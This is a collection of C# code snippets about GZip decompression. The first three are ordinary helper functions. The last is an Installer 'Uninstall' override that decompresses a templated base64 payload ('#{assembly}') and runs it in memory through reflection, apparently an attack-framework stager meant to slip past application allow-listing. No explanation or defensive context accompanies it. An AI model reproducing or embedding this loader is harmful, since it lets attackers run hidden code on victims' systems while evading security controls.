public static string DecompressBase64String(string pBase64Str) { System.Text.Encoding encoder = Encoding.UTF8; //byte[] compressedData = encoder.GetBytes(xmlFile); byte[] compressedData = Convert.FromBase64String(pBase64Str); byte[] writeData = new byte[1024 * 1024]; System.IO.Stream zipStream = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(compressedData), System.IO.Compression.CompressionMode.Decompress); int totalLength = 0; int size; string sResult = string.Empty; while ((size = zipStream.Read(writeData, 0, writeData.Length)) > 0) { totalLength += size; sResult += encoder.GetString(writeData, 0, size); } zipStream.Close(); // _Logger.Debug("compressed Lenght: " + compressedData.Length + " de compressed Lenght: " + totalLength); return(sResult); }
static byte[] Decompress(byte[] gzip) { using (System.IO.Compression.GZipStream stream = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(gzip), System.IO.Compression.CompressionMode.Decompress)) { const int size = 4096; byte[] buffer = new byte[size]; using (System.IO.MemoryStream memory = new System.IO.MemoryStream()) { int count = 0; do { count = stream.Read(buffer, 0, size); if (count > 0) { memory.Write(buffer, 0, count); } }while (count > 0); return(memory.ToArray()); } } }
public static ArraySegment <byte> DecompressBuffer(ArraySegment <byte> buffer, BufferManager bufferManager) { MemoryStream stream = new MemoryStream(buffer.Array, buffer.Offset, buffer.Count - buffer.Offset); MemoryStream decompressedStream = new MemoryStream(); //int totalRead = 0; const int blockSize = 1024; byte[] tempBuffer = bufferManager.TakeBuffer(blockSize); using (System.IO.Compression.GZipStream gzStream = new System.IO.Compression.GZipStream(stream, CompressionMode.Decompress)) { while (true) { int bytesRead = gzStream.Read(tempBuffer, 0, blockSize); if (bytesRead == 0) { break; } decompressedStream.Write(tempBuffer, 0, bytesRead); //totalRead += bytesRead; } } bufferManager.ReturnBuffer(tempBuffer); byte[] decompressedBytes = decompressedStream.ToArray(); byte[] bufferManagerBuffer = bufferManager.TakeBuffer(decompressedBytes.Length + buffer.Offset); Array.Copy(buffer.Array, 0, bufferManagerBuffer, 0, buffer.Offset); Array.Copy(decompressedBytes, 0, bufferManagerBuffer, buffer.Offset, decompressedBytes.Length); var byteArray = new ArraySegment <byte>(bufferManagerBuffer, buffer.Offset, decompressedBytes.Length); bufferManager.ReturnBuffer(buffer.Array); return(byteArray); }
public override void Uninstall(System.Collections.IDictionary savedState) { System.IO.Compression.GZipStream s = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(Convert.FromBase64String("#{assembly}")), System.IO.Compression.CompressionMode.Decompress); System.IO.MemoryStream m = new System.IO.MemoryStream(); const int size = 4096; byte[] buffer = new byte[size]; int count = 0; do { count = s.Read(buffer, 0, size); if (count > 0) { m.Write(buffer, 0, count); } }while (count > 0); System.Reflection.Assembly a = System.Reflection.Assembly.Load(m.ToArray()); Type at = a.GetTypes()[0]; object ao = Activator.CreateInstance(at); }